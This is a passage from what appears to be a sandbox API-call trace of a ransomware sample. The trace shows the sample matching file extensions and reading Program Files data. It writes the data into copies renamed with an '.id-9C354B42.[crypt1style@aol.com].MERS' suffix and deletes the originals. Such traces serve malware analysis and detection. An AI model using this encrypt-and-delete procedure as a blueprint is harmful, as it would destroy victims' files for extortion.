dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0258.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0258.599] lstrlenW (lpString=".doc") returned 4 [0258.599] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.599] lstrlenW (lpString=".docx") returned 5 [0258.599] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0258.599] lstrlenW (lpString=".pdf") returned 4 [0258.599] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.599] lstrlenW (lpString=".xls") returned 4 [0258.599] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.599] lstrlenW (lpString=".xlsx") returned 5 [0258.599] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0258.599] lstrlenW (lpString=".ppt") returned 4 [0258.599] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0258.599] lstrlenW (lpString=".zip") returned 4 [0258.599] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.599] lstrlenW (lpString=".rar") returned 4 [0258.599] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.599] lstrlenW (lpString=".bz2") returned 4 [0258.600] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.600] lstrlenW (lpString=".7z") returned 3 [0258.600] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0258.600] lstrlenW (lpString=".dbf") returned 4 [0258.600] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0258.600] lstrlenW (lpString=".1cd") returned 4 [0258.600] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0258.600] lstrlenW (lpString=".jpg") returned 4 [0258.600] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0258.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0258.600] lstrlenW (lpString=".doc") returned 4 [0258.600] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.600] lstrlenW (lpString=".docx") returned 5 [0258.600] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0258.600] lstrlenW (lpString=".pdf") returned 4 [0258.600] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.600] lstrlenW (lpString=".xls") returned 4 [0258.600] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.600] lstrlenW (lpString=".xlsx") returned 5 [0258.600] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0258.600] lstrlenW (lpString=".ppt") returned 4 [0258.600] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0258.600] lstrlenW (lpString=".zip") returned 4 [0258.600] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.600] lstrlenW (lpString=".rar") returned 4 [0258.600] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.600] lstrlenW (lpString=".bz2") returned 4 [0258.600] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.600] lstrlenW (lpString=".7z") returned 3 [0258.600] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0258.601] lstrlenW (lpString=".dbf") returned 4 [0258.601] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0258.601] lstrlenW (lpString=".1cd") returned 4 [0258.601] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0258.601] lstrlenW (lpString=".jpg") returned 4 [0258.601] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.601] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.601] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0258.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0258.602] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=3584) returned 1 [0258.602] CloseHandle (hObject=0x2e4) returned 1 [0258.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0258.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0258.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0258.603] lstrlenW (lpString=".doc") returned 4 [0258.603] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.603] lstrlenW (lpString=".docx") returned 5 [0258.603] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0258.603] lstrlenW (lpString=".pdf") returned 4 [0258.603] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.603] lstrlenW (lpString=".xls") returned 4 [0258.603] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.603] lstrlenW (lpString=".xlsx") returned 5 [0258.603] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0258.603] lstrlenW (lpString=".ppt") returned 4 [0258.603] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0258.603] lstrlenW (lpString=".zip") returned 4 [0258.603] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.603] lstrlenW (lpString=".rar") returned 4 [0258.603] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.603] lstrlenW (lpString=".bz2") returned 4 [0258.603] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.603] lstrlenW (lpString=".7z") returned 3 [0258.603] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0258.603] lstrlenW (lpString=".dbf") returned 4 [0258.603] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0258.603] lstrlenW (lpString=".1cd") returned 4 [0258.603] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0258.603] lstrlenW (lpString=".jpg") returned 4 [0258.603] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0258.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0258.604] lstrlenW (lpString=".doc") returned 4 [0258.604] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.604] lstrlenW (lpString=".docx") returned 5 [0258.604] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0258.604] lstrlenW (lpString=".pdf") returned 4 [0258.604] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.604] lstrlenW (lpString=".xls") returned 4 [0258.604] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.604] lstrlenW (lpString=".xlsx") returned 5 [0258.604] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0258.604] lstrlenW (lpString=".ppt") returned 4 [0258.604] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0258.604] lstrlenW (lpString=".zip") returned 4 [0258.604] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.604] lstrlenW (lpString=".rar") returned 4 [0258.604] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.604] lstrlenW (lpString=".bz2") returned 4 [0258.604] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.604] lstrlenW (lpString=".7z") returned 3 [0258.604] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0258.604] lstrlenW (lpString=".dbf") returned 4 [0258.604] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0258.604] lstrlenW (lpString=".1cd") returned 4 [0258.604] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0258.604] lstrlenW (lpString=".jpg") returned 4 [0258.604] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.605] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.605] lstrlenW (lpString="TipTsf.dll.mui") returned 14 [0258.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0258.605] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=3072) returned 1 [0258.605] CloseHandle (hObject=0x2e4) returned 1 [0258.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0258.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0258.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0258.605] lstrlenW (lpString=".doc") returned 4 [0258.605] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.605] lstrlenW (lpString=".docx") returned 5 [0258.605] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0258.605] lstrlenW (lpString=".pdf") returned 4 [0258.605] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.605] lstrlenW (lpString=".xls") returned 4 [0258.605] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.605] lstrlenW (lpString=".xlsx") returned 5 [0258.605] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0258.605] lstrlenW (lpString=".ppt") returned 4 [0258.605] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0258.606] lstrlenW (lpString=".zip") returned 4 [0258.606] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.606] lstrlenW (lpString=".rar") returned 4 [0258.606] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.606] lstrlenW (lpString=".bz2") returned 4 [0258.606] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.606] lstrlenW (lpString=".7z") returned 3 [0258.606] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0258.606] lstrlenW (lpString=".dbf") returned 4 [0258.606] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0259.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0259.928] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0259.928] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0259.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0260.308] GetLastError () returned 0x0 [0260.308] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x3a18, lpOverlapped=0x0) returned 1 [0260.325] WriteFile (in: hFile=0x360, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0260.326] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0260.326] WriteFile (in: hFile=0x360, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xee, lpOverlapped=0x0) returned 1 [0260.326] SetEndOfFile (hFile=0x360) returned 1 [0260.326] CloseHandle (hObject=0x360) returned 1 [0260.326] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0260.326] SetEndOfFile (hFile=0x3a4) returned 1 [0260.337] CloseHandle (hObject=0x3a4) returned 1 [0260.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0260.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 1 [0260.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0260.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0260.338] lstrlenW (lpString=".doc") returned 4 [0260.338] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0260.338] lstrlenW (lpString=".docx") returned 5 [0260.338] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0260.338] lstrlenW (lpString=".pdf") returned 4 [0260.338] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0260.338] lstrlenW (lpString=".xls") returned 4 [0260.338] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0260.338] lstrlenW (lpString=".xlsx") returned 5 [0260.338] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0260.338] lstrlenW (lpString=".ppt") returned 4 [0260.338] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0260.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0260.338] lstrlenW (lpString=".zip") returned 4 [0260.338] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0260.338] lstrlenW (lpString=".rar") returned 4 [0260.338] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0260.338] lstrlenW (lpString=".bz2") returned 4 [0260.338] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0260.339] lstrlenW (lpString=".7z") returned 3 [0260.339] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0260.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0260.339] lstrlenW (lpString=".dbf") returned 4 [0260.339] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0260.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0260.339] lstrlenW (lpString=".1cd") returned 4 [0260.339] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0260.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0260.339] lstrlenW (lpString=".jpg") returned 4 [0260.339] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0260.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0260.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0260.339] lstrlenW (lpString=".doc") returned 4 [0260.339] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0260.339] lstrlenW (lpString=".docx") returned 5 [0260.339] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0260.339] lstrlenW (lpString=".pdf") returned 4 [0260.339] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0260.339] lstrlenW (lpString=".xls") returned 4 [0260.339] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0260.339] lstrlenW (lpString=".xlsx") returned 5 [0260.339] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0260.339] lstrlenW (lpString=".ppt") returned 4 [0260.339] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0260.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0260.339] lstrlenW (lpString=".zip") returned 4 [0260.339] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0260.339] lstrlenW (lpString=".rar") returned 4 [0260.339] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0260.340] lstrlenW (lpString=".bz2") returned 4 [0260.340] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0260.340] lstrlenW (lpString=".7z") returned 3 [0260.340] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0260.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0260.340] lstrlenW (lpString=".dbf") returned 4 [0260.340] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0260.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0260.340] lstrlenW (lpString=".1cd") returned 4 [0260.340] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0260.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0260.340] lstrlenW (lpString=".jpg") returned 4 [0260.340] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0260.340] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0260.340] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0260.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.867] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=6970) returned 1 [0260.867] CloseHandle (hObject=0x3a0) returned 1 [0260.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x20 [0260.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0260.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.914] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0260.914] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0260.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0261.222] GetLastError () returned 0x0 [0261.222] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x1b3a, lpOverlapped=0x0) returned 1 [0261.312] WriteFile (in: hFile=0x2dc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x1b40, lpOverlapped=0x0) returned 1 [0261.313] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0261.313] WriteFile (in: hFile=0x2dc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.313] SetEndOfFile (hFile=0x2dc) returned 1 [0261.313] CloseHandle (hObject=0x2dc) returned 1 [0261.313] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0261.313] SetEndOfFile (hFile=0x3a0) returned 1 [0261.643] CloseHandle (hObject=0x3a0) returned 1 [0261.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0261.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0261.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0261.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0261.650] lstrlenW (lpString=".doc") returned 4 [0261.650] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0261.650] lstrlenW (lpString=".docx") returned 5 [0261.650] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0261.650] lstrlenW (lpString=".pdf") returned 4 